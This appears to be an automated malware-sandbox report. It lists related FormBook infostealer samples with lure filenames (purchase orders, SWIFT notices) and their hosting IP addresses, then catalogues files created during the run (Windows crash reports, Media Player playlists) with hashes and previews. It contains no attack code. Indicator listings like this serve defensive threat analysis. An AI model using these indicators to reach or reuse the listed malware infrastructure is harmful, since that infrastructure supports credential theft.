	AWB NO. 077-57676135055.exe	Get hash	malicious	FormBook	Browse	203.161.50.127
	file.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	fisher man.exe	Get hash	malicious	FormBook	Browse	203.161.55.124
	GJRX21GBj3.exe	Get hash	malicious	FormBook	Browse	203.161.55.102
	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
LEASEWEB-USA-WDCUS	http://www.xfinityconnect.comcastappmobile.162-240-172-219.cprapid.com	Get hash	malicious	Unknown	Browse	207.244.64.92
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	23.105.172.12
	https://www.barstoolsports.com/blog/3517288/i-would-fucking-kill-you-right-now-if-i-could-kelly-and-tate-finally-met-in-chicago-and-boy-oh-boy-was-it-fireworks#story-comments	Get hash	malicious	Unknown	Browse	162.210.196.208
	https://www.pcna.com/en-ca/product/folding-moon-chair-400lb-capacity-1070-94	Get hash	malicious	Unknown	Browse	192.96.202.199
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	23.105.172.12
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	23.105.172.12
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	23.105.172.12
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	23.105.172.12
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	23.105.172.12

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_14K3HQLSMFEQUGXV_b459fda994f63613fd3f413413133f89faf9749f_6c848b9a_66d5c219-ea77-4678-8787-4be4333f52c9\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2110906069673681
Encrypted:	false
SSDEEP:	192:Fs4wCJjF4i0VeWpZaWBeHA9cOIDzuiFcZ24lO8GV6qH:64wCJ5OVBpZammAduzuiFcY4lO88ZH
MD5:	25B7E8108DF85A232EE6699B6BF82F47
SHA1:	8747021689F9B2A3F30FE59AD8085E5DD5302B69
SHA-256:	B5A09BD5697FE8982A4EDD72C966D41D6E0A90708650FB8404919855B440C92C
SHA-512:	C60294C6D08F7EB4A09B51238767439998982789D92150BDEF0786E583BADEE3D1A6445E6DC74A8B062A38F1FE550D6AAEF78FAD964AED21044201DAE2A7197E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.4.9.9.1.1.8.1.5.6.6.0.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.4.9.9.1.1.9.0.4.7.2.3.9.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.6.d.5.c.2.1.9.-.e.a.7.7.-.4.6.7.8.-.8.7.8.7.-.4.b.e.4.3.3.3.f.5.2.c.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.a.d.2.0.4.0.-.1.3.5.1.-.4.d.7.4.-.9.7.1.c.-.d.e.e.a.3.c.6.2.3.e.f.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.6.4...P.W.S.X.-.g.e.n...1.4.7.9.2...1.3.7.1.5...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.t.a.f.u.d.e.q.o.s.u.b.u.j.a.s.u.g.a.z.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.e.8.-.0.0.0.1.-.0.0.1.5.-.2.d.c.3.-.b.0.4.f.6.9.c.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.2.f.a.3.e.9.7.a.7.1.c.3.7.1.a.c.0.2.9.d.e.2.7.6.c.7.b.1.f.3.c.0.0.0.0.0.0.0.0.!.0.0.0.0.8.8.9.0.d.4.9.e.f.3.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BF4.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed Jul 3 16:51:58 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	467797
Entropy (8bit):	3.166600784102374
Encrypted:	false
SSDEEP:	6144:qo89TbiAqx5AY63QwgfFQNSCfKV1+g5DokFBWMZ:qJ9iAqsYaQ1lK
MD5:	94F51452597557CEEF662DB2D9524015
SHA1:	9FF163DC095BCC931A8A6E850512C6AA5894170B
SHA-256:	C44BAB398E9E476123CCA17613A43BD6879E4D518DBEE1D2D3DD40E91DF37CC5
SHA-512:	D1FB3698E8DC084D52795772F312DCBE2458CA3D1BA0BB309FEAB5D559DDD31FF32144A533BE79BEEED975E23733284968A8932867688998FDC27A8AAC4E21C3
Malicious:	false
Preview:	MDMP..a..... ..........f............t...........H...........$....%......x....&......$L..P...........l.......8...........T...........h9..............xC..........dE..............................................................................eJ.......E......Lw......................T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E18.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8730
Entropy (8bit):	3.715738331864548
Encrypted:	false
SSDEEP:	192:R6l7wVeJyEOe6Y2DXnKrgmfZMu0apr089bcxyNftUm:R6lXJpOe6YKnKrgmftfcxYf7
MD5:	D1BA841238813AACA11ED81A841DCFD4
SHA1:	0280AC5CBF2891995460936EC269229D5BD464E1
SHA-256:	08C9A30B63A1707BDA545B5DB5450B9894093C11227977D68BFD5E4E900014DA
SHA-512:	0C3640FE112FDF4991801B6DA27671297263C582B62C9F0C5E7C006DE64C90F858B1E16CF87517AF70E3331FCD1153EF521F855B9EC6899B3B25E414EED02995
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E48.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4965
Entropy (8bit):	4.609452631119753
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNmJg771I9epWpW8VYNYm8M4J5+fUkE6FoEyq8vkUkE//soe+S8JU+So:uIjfuI7FY7V5JW6mWk6//szLKd
MD5:	EFCC32B026CD88A0FE3468FD09811567
SHA1:	48C96AF090CADE9F46E2CAFF9F4F5BEDFDDFF392
SHA-256:	D6C462FBB603F7FD91567ABB2C3673FBE86EB59D9E12FB983ACA3BB8F931DD98
SHA-512:	AD6C597E7F31E8A8F2CBF2FCA8AF9922AC6FA70D933F34FB8A2448A1C821682180D73EE5206385EE928542269FCACEECA636E7AB2D7EBE0EF3FA4A3523B45CFC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="395034" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Process:	C:\Windows\System32\unregmp2.exe
File Type:	data
Category:	modified
Size (bytes):	1048576
Entropy (8bit):	1.0087776707762626
Encrypted:	false
SSDEEP:	768:d0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX0JoJImdbaW:LZEItFPCklY+XqEMNTaBacgs
MD5:	2A1AE33A07F40B43BA4A202587851FDB
SHA1:	D34E7BAC1371DD7ECF928B97CD41EBB65D1019F6
SHA-256:	BA07C011B9242AB128E7F1CC828218FEA6591394005A3477C62B163DFE279BA5
SHA-512:	6D3E7F8AA0AFDDC962B6EB9037D6332A3280BE9707B86577716B5DE4ABE05B63AD31264262D8E1292C1EC3049FC7AE0DEAB0E506BF8E321247FD7DE3443F0FA4
Malicious:	false
Preview:	j................=.....B................ ..X.......S ...............!..........................................................................................................................................................................................................................................................................................................................................................................................................................................................L.......2........$.......$..........X.......W...W...1....................$..............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb

Process:	C:\Windows\System32\unregmp2.exe
File Type:	data
Category:	dropped
Size (bytes):	69740
Entropy (8bit):	0.40229891689370273
Encrypted:	false
SSDEEP:	96:frpOZhcbtKNZt/UMUatv7Zt8UMbat7UMlatkOZtFLQtyLZtgtx2tBt:4ZhPnSnYnq
MD5:	82B8F394027C6481D987F37E0EDC32AD
SHA1:	9E0D57DD09F4EF65271F04293A24BBC16E6BA75B
SHA-256:	572BF92B4969FACDA732DEE96ACCB8F619B2C6F3E303D909CD269D127B895867
SHA-512:	911891DF5CC0D9F22FF9928C7454013573E5DA3510D581AFDBFD159CE0E5318366390F1CF0884436B6971F2BE6A22E68D1CE00B10894406F6AE7D377EA73B641
Malicious:	false
Preview:	W.i.n.d.o.w.s. .M.e.d.i.a. .P.l.a.y.e.r...C.o.m.p.r.e.s.s.e.d. .D.B. .I.m.a.g.e.......e...........`...`...8...0.........3.6.........P..KE......KE...........@..KE...........i.#.w.\|D...A.........................4.@.....4.@........x..KE..."..KE...........l..KE...........<[S..v@.....}.......................4.@.....4.@...........KE...R..KE..............KE...........'a.e%.vA....9Y4g.....................4.@.....4.@...........KE...z..KE..............KE...........z....m.M...R..B......................4.@.....4.@...........KE......KE..............KE...........a.X.-D.M.k..... .....................4.@.....4.@S.......@..KE......KE...........0..KE............. ....A....r.......................4.@.....4.@S.......h..KE......KE...........Z..KE............1G....H..Q.*Q.`.....................4.@.....4.@...........KE...>..KE..............KE............_l....@...tL.m......................4.@.....4.@...........KE...f..KE..............KE............$....9G.....wfI.....................4.@.....4.@...........K

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\01_Music_auto_rated_at_5_stars.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	4.037947479559426
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2SBZ5EkqfxI+/RWNVYAh1MsAvXC0R0NXqVSqCj7SNCjqCjhRNCj3:xtwxloG/rdAvyoCegICGgCGdKv
MD5:	159E63275630EC4C9747B664BD063938
SHA1:	BE4E32D7D022C3E3277E1ED65A21BEBCF787CE3F
SHA-256:	D54745665432625A904636E7675612C85026DA07E68F4E9D8DACBE98E5DEE844
SHA-512:	1A128D4F59424BCE6818C117F84DBFE16B7DA1543D7B2682460DA74839BFC6CFE805DA00112E17CBAAFDF4179E357B70FA0850FA722FB04F202E1D75E65EDB60
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>Music auto rated at 5 stars</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="Effective Rating">.. <argument name="condition">Is At Least</argument>.. <argument name="value">5 stars</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album Artist</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\02_Music_added_in_the_last_month.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	4.051212913630708
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2W75EkqfxI+/RWNVYAh1MsAvXzJfjzbT6qCj7SNCjqCjhRNCjqCr:xtwxlsG/rdAvDJ3dgICGgCGdKv
MD5:	907BFC98CE854AE312127C952D8BE0F2
SHA1:	02DEFE8C5F9CC85742E45BA55E4FCFE326FD960C
SHA-256:	C475DC7423C2AD60F25ADAAC754CD8B68B57FF04F26ECEF78F3E5961B986A324
SHA-512:	DB4045F992BAD6AD660769A22345C5E0D965AE521D6828D612B15F0163622C629992C313A41BC9E381F9B0F098117EEF840D33100AF4C6A3634EB0013A7FE1C7
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>Music added in the last month</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="Acquisition Date">.. <argument name="condition">Is Later Than</argument>.. <argument name="value">Last month</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album Artist</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\03_Music_rated_at_4_or_5_stars.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	4.025849031008368
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2bxOBZ5EkqfxI+/RWNVYAh1MsAvXMV/NXq2SqCj7SNCjqCjhRNCT:xtwxlgxDG/rdAvcVNvgICGgCGdKv
MD5:	6D791B697AF46D6777182AF7F18C2955
SHA1:	D73E8B5F4EE646C1C4AB6D23F3CB3394CB833CA8
SHA-256:	4825EB90140F6B2F4F7ED0DF66B24E10FF5D0DA70AF53EA495FD30B3AA791870
SHA-512:	268CF327A9F471D547AD1DAE47833CF6D722C08F9CBF5E7867A422282CE52DC320340DED93473A598903BFEE9BF6A1A3393779468DBEB27D3390DBD59E6D20BA
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>Music rated at 4 or 5 stars</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="User Rating">.. <argument name="condition">Is At Least</argument>.. <argument name="value">4 stars</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album Artist</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\04_Music_played_in_the_last_month.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	4.05476728806244
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG24Mp75EkqfxI+/RWNVYAh1MsAvXbbgNzbT6qCj7SNCjqCjhRNCj3:xtwxlMAG/rdAvHmdgICGgCGdKv
MD5:	F8D3A4CACF055F5EC5C62218EA50D290
SHA1:	974474CE3FE345D8015863BD6EA7242BA118532B
SHA-256:	201F2170812CF8041964C4D3C5EF539D96ADEBA6A68B69ECAED0AFFE3AE8E25F
SHA-512:	AC32CBEB05FAE672047705679043AECF9B56314BAA09C2D3ABB7EAC655710D7CB2C967EA1772767E366BB502E8AD6DE375302F51CA62A76D962EE539B45BFC21
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>Music played in the last month</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="Last play date">.. <argument name="condition">Is More Recent Than</argument>.. <argument name="value">Last month</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album Artist</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. <fragment name="Sort by">.. <argument n

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\05_Pictures_taken_in_the_last_month.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	797
Entropy (8bit):	4.313068810170943
Encrypted:	false
SSDEEP:	12:x2G5/KDxwe3tfUa75EkqfxI+/RWNVAiWMAAvXO7/jzbT6qCjWBX2WN8M+Vv:xtwx/5sG/4xAvAXddKv
MD5:	821D2BE672F05514127C117CEF460C6E
SHA1:	1C75F314E7658A3DCDCAD315E301F2BAE6D47B31
SHA-256:	3ABDB6CBD88AD1557054ECE3F10DD1A8494ED32F423B3CF8321B18DECC489474
SHA-512:	146D6293173B80FFE3721AE6E61293CC1D838E8A72713BE8B859CE33C69EF753408057BE9CE15A78D573E253548EE674CA3FEA77EFA3D330CE8C8A50F8A8A988
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 9.0.0.3442"/>.. <title>Pictures taken in the last month</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{CC823400-A8E4-4081-B073-D3B6D952FE69}" name="Pictures in my library">.. <fragment name="DateTimeTaken">.. <argument name="condition">Is Later Than</argument>.. <argument name="value">Last month</argument>.. </fragment>.. </sourceFilter>.. </querySet>.. </smartPlaylist>.. </seq>.. </body>..</smil>..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\06_Pictures_rated_4_or_5_stars.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	785
Entropy (8bit):	4.281070989332542
Encrypted:	false
SSDEEP:	12:x2G5/KDxwe3tfUZOBZ5EkqfxI+/RWNVAiWMAAvXMV/NXq2SqCjWBX2WN8M+Vv:xtwx/56DG/4xAvcVNvdKv
MD5:	0A8A40CA87323DC16893194B00C7FE77
SHA1:	B88A42A85053E0A7483E331B66BA5A40A6290E10
SHA-256:	9AA433BED2E090CC6904F1C24D5A7B5A1ED6D8F71A997E661B886C69383FD53E
SHA-512:	5932F09106D622054E6D624221D754FF471E3F37D9F585ED23DB7F7327FE1E2F624B22A8F7F2827B607FDB9A30683B8F20C48A39CD35A57AD5CB78467AF2C20E
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 9.0.0.3442"/>.. <title>Pictures rated 4 or 5 stars</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{CC823400-A8E4-4081-B073-D3B6D952FE69}" name="Pictures in my library">.. <fragment name="User Rating">.. <argument name="condition">Is At Least</argument>.. <argument name="value">4 stars</argument>.. </fragment>.. </sourceFilter>.. </querySet>.. </smartPlaylist>.. </seq>.. </body>..</smil>..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\07_TV_recorded_in_the_last_week.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.191452381408781
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2b8C5EkqfxI+/RWNV7n5VvoZAvX1Hfjz+1qCjH1LNCjqCjWBX2W0:xtwxlftG/T5VaAvFmkcCGdKv
MD5:	B9987B1F9DF6D0AFC01558B907E62A16
SHA1:	EF202D5D6F90B37C71CB757F3BABB0857CE54D86
SHA-256:	0892EFDB8459D81D4C5E1085239734D9910B9C6A1DEBD7189CF385141F0B19D1
SHA-512:	6BC86075632C3E56FFE1D371F4178299E93E014F5C5C83DFDCA2DC9EFD1155633409C79EC87CFE2AFD4374B83771AE56A3EB7FAC00F83921B433CB49216037F9
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>TV recorded in the last week</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{E5415A66-7763-4BDE-B97F-5557CA73C303}" name="TV shows in my library">.. <fragment name="Recording Date">.. <argument name="condition">Is Later Than</argument>.. <argument name="value">Last week</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Recording Date</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. </sourceFilter>.. </querySet>.. </smartPlaylist>

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\08_Video_rated_at_4_or_5_stars.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1020
Entropy (8bit):	4.1337368900668165
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2bxOBZ5EkqfxI+/RWNVz3pnDCAAvXMV/NXq2SqCjQNCjqCjWBX2D:xtwxlYxDG/LJXAvcVNv/CGdKv
MD5:	A3787A42B81FCE0E448976AD158EDD93
SHA1:	45FF275C0C32EAB1F0B56E8B61E8EAD18CFD1675
SHA-256:	94BC17AC59BDE92FBCA00FCC69AED68FCBFE2C1754DD45F4810765F5FDF774FF
SHA-512:	B36CA10F580EC9D455FB57149BCE1897FE48FDA6023B2FB55B6B4B80A91F1754311B91EDD72C13103E0DA9ED90B696C28D6904EA91984ADE69ED50791F4065AE
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <title>Video rated at 4 or 5 stars</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{B2D9BDDC-8E49-444B-9BA4-193ABF9C7870}" name="Video in my library">.. <fragment name="User Rating">.. <argument name="condition">Is At Least</argument>.. <argument name="value">4 stars</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Title</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. </sourceFilter>.. </querySet>.. </smartPlaylist>.. </seq>..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\09_Music_played_the_most.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	4.153394340103766
Encrypted:	false
SSDEEP:	12:x2G5/KDxwe3f4MUWZ35EkqfxI+/RWNVYAh1MsAvXj/zbCjqCH/zxqCjWBX2WN8M+:xtwx/hUTG/rdAvTCGDdKv
MD5:	467E71AA2FD951EB0A1AF3D6BB8378E8
SHA1:	FB654C0B2663D4FA5FD0F1658097D936DD0429ED
SHA-256:	A54BC2CAD63CED4FD9FF2A3A094A26E264E8A5CE8139193896D13236F494E2EE
SHA-512:	F9242A4925B910F4A114652967A6E2F49444A3F0D9F35402FEF28CC8D39C58720930084112BAF92EB6716AF541FD76E3803CCC1E742CEC07F1D4FB6ABC13A42C
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 9.0.0.3075"/>.. <title>Music played the most</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="Sort by">.. <argument name="value">Playcount: Total</argument>.. <argument name="condition">Descending</argument>.. </fragment>.. <fragment name="Playcount: Total">.. <argument name="condition">Is Greater Than</argument>.. <argument name="value">5</argument>.. </fragment>.. </sourceFilter>.. </querySet>.. </smartPlaylist>.. </seq

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\10_All_Music.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.198592374702475
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2dL55EkqfxI+/RWNVYAh1MsAvXj7SNCjqCjhRNCjqCjWBX2WN8M+:xtwxloYG/rdAvXICGgCGdKv
MD5:	51AEED11707741118E0706C1259DF22E
SHA1:	6434E915B018C6D15898FE0A4D006BBE3E1EDB60
SHA-256:	EC286113E5AD77AC34063589A137A6DC4B4CAB8845CD9C5386519983FA3B48F0
SHA-512:	A674487F9CABE1FB2809CD98958DCE696F7F066D3738BFB30317201ED804DF3C72F2D24D6F9C0832CF446C8A965E21F3EA50AADA1C69860A12340D6ECA88E942
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <meta name="DontCopyToDevice" content="TRUE"/>.. <title>All Music</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{4202947A-A563-4B05-A754-A1B4B5989849}" name="Music in my library">.. <fragment name="Sort by">.. <argument name="value">Album Artist</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Album Title</argument>.. <argument name="condition">Ascending</argument>.. </fragment>.. </sourceFilter>.. </querySet>..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\11_All_Pictures.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	585
Entropy (8bit):	4.586939224969076
Encrypted:	false
SSDEEP:	12:x2G5/KDxweAxdL535EkqfxI+/RWNVAiWMAAvXjWBX2WN8M+Vv:xtwxYf9qG/4xAv+Kv
MD5:	74294EF495559ED32731F19096D70312
SHA1:	FDC6CC849270016D2A382D7D0DAABF44A4556CD9
SHA-256:	DB34D82F2CD23E6E55A64E12D2A0A9C27AC2DED156483238F22A336CA6825110
SHA-512:	B068D903B83945F146ABD4CF384DA99AF608643C62B647EA65DB33C3B0E0FACE4727A74BE3210A9C6469BBC403D1F5C59D92CBD57722737E992B0E4F5E66662A
Malicious:	false
